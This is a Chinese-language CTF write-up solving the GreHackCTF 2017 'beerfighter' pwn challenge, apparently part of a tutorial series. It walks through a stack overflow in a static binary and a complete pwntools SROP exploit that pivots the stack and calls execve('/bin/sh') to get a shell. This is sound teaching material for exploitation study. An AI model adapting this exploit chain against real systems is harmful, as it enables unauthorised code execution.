6.1.5 pwn GreHackCTF2017 beerfighter

下载文件

题目复现

$ file game
game: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=1f9b11cb913afcbbbf9cb615709b3c62b2fdb5a2, stripped
$ checksec -f game
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY  Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No       0               0       game

64 位,静态链接,stripped。

既然是个小游戏,先玩一下,然后发现,进入 City Hall 后,有一个可以输入字符串的地方,然而即使我们什么也不输入,直接回车,在 Leave the town 时也会出现 Segmentation fault:

[0] The bar
[1] The City Hall
[2] The dark yard
[3] Leave the town for ever
Type your action number > 1
Welcome Newcomer! I am the mayor of this small town and my role is to register the names of its citizens.
How should I call you?
[0] Tell him your name
[1] Leave
Type your action number > 0
Type your character name here >

...

[0] The bar
[1] The City Hall
[2] The dark yard
[3] Leave the town for ever
Type your action number > 3
By !

Segmentation fault (core dumped)

题目解析

程序大概清楚了,看代码吧,经过一番搜索,发现了一个很有意思的函数:

[0x00400d8e]> pdf @ fcn.00400773
/ (fcn) fcn.00400773 15
|   fcn.00400773 ();
|              ; CALL XREF from 0x00400221 (fcn.004001f3)
|              ; CALL XREF from 0x004002b6 (fcn.00400288)
|           0x00400773      4889f8         mov rax, rdi
|           0x00400776      4889f7         mov rdi, rsi
|           0x00400779      4889d6         mov rsi, rdx
|           0x0040077c      4889ca         mov rdx, rcx
|           0x0040077f      0f05           syscall
\           0x00400781      c3             ret

syscall;ret,你想到了什么,对,就是前面讲的 SROP。

其实前面的输入一个字符串,程序也是通过 syscall 来读入的,从函数 0x004004b8 开始仔细跟踪代码后就会知道,系统调用为 read()

gdb-peda$ pattern_offset $ebp
1849771374 found at offset: 1040

缓冲区还挺大的,1040+8=1048

漏洞利用

好,现在思路已经清晰了,先利用缓冲区溢出漏洞,用 syscall;ret 地址覆盖返回地址,通过 frame_1 调用 read() 读入 frame_2 到 .data 段(这个程序没有.bss,而且.data可写),然后将栈转移过去,调用 execve() 执行“/bin/sh”,从而拿到 shell。

构造 sigreturn:

$ ropgadget --binary game --only "pop|ret"
...
0x00000000004007b2 : pop rax ; ret
# sigreturn syscall
sigreturn  = p64(pop_rax_addr)
sigreturn += p64(constants.SYS_rt_sigreturn)    # 0xf
sigreturn += p64(syscall_addr)

然后是 frame_1,通过设定 frame_1.rsp = base_addr 来转移栈:

# frame_1: read frame_2 to .data
frame_1 = SigreturnFrame()
frame_1.rax = constants.SYS_read
frame_1.rdi = constants.STDIN_FILENO
frame_1.rsi = data_addr
frame_1.rdx = len(str(frame_2))
frame_1.rsp = base_addr             # stack pivot
frame_1.rip = syscall_addr

frame_2 执行 execve()

# frame_2: execve to get shell
frame_2 = SigreturnFrame()
frame_2.rax = constants.SYS_execve
frame_2.rdi = data_addr
frame_2.rsi = 0
frame_2.rdx = 0
frame_2.rip = syscall_addr

Bingo!!!

$ python2 exp.py
[*] '/home/firmy/Desktop/game'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './game': pid 12975
[*] Switching to interactive mode
By !

$ whoami
firmy

exploit

完整的 exp 如下:

from pwn import *

elf = ELF('./game')
io = process('./game')
io.recvuntil("> ")
io.sendline("1")
io.recvuntil("> ")
io.sendline("0")
io.recvuntil("> ")

context.clear()
context.arch = "amd64"

data_addr = elf.get_section_by_name('.data').header.sh_addr + 0x10
base_addr = data_addr + 0x8   # new stack address

# useful gadget
pop_rax_addr = 0x00000000004007b2   # pop rax ; ret
syscall_addr = 0x000000000040077f   # syscall ;

# sigreturn syscall
sigreturn  = p64(pop_rax_addr)
sigreturn += p64(constants.SYS_rt_sigreturn)    # 0xf
sigreturn += p64(syscall_addr)

# frame_2: execve to get shell
frame_2 = SigreturnFrame()
frame_2.rax = constants.SYS_execve
frame_2.rdi = data_addr
frame_2.rsi = 0
frame_2.rdx = 0
frame_2.rip = syscall_addr

# frame_1: read frame_2 to .data
frame_1 = SigreturnFrame()
frame_1.rax = constants.SYS_read
frame_1.rdi = constants.STDIN_FILENO
frame_1.rsi = data_addr
frame_1.rdx = len(str(frame_2))
frame_1.rsp = base_addr             # stack pivot
frame_1.rip = syscall_addr

payload_1  = "A" * 1048
payload_1 += sigreturn
payload_1 += str(frame_1)

io.sendline(payload_1)
io.recvuntil("> ")
io.sendline("3")

payload_2  = "/bin/sh\x00"
payload_2 += sigreturn
payload_2 += str(frame_2)

io.sendline(payload_2)
io.interactive()

参考资料

Last updated